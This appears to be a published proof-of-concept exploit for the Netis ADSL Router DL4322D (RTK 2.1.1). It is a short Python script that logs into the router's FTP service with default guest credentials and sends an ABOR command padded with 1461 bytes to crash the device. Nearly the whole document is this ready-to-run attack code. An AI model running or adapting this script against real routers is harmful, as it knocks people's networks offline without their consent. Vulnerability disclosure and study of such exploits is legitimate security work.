Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)

# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log
# into the router and send and valid FTP command with a character offset of 1461 as the command input

import socket 

evil = '\x41'*1461

print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"
print "\r[i] Creating socket"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\r[i] Connecting..."
connect = s.connect(('192.168.1.1',21))
s.recv(1024)

try:
	s.send('USER guest\r\n')
	s.recv(1024)
	s.send('PASS guest\r\n')
	s.recv(1024)
	print "\r[+] Connected"
except:
	print "\r[!] Credentials aren't working. Please change if none default"
	
print "\r[+] Sending Payload"

try:
	s.send('ABOR %s' % (evil))
	print "\r[+] Payload sent"
	print "\r[+] Router offline"
except:
	print "\r[!] Something went wrong"
	
s.close()